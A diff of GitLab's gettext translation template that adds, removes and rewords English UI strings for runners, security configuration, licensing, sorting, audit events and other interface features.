@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
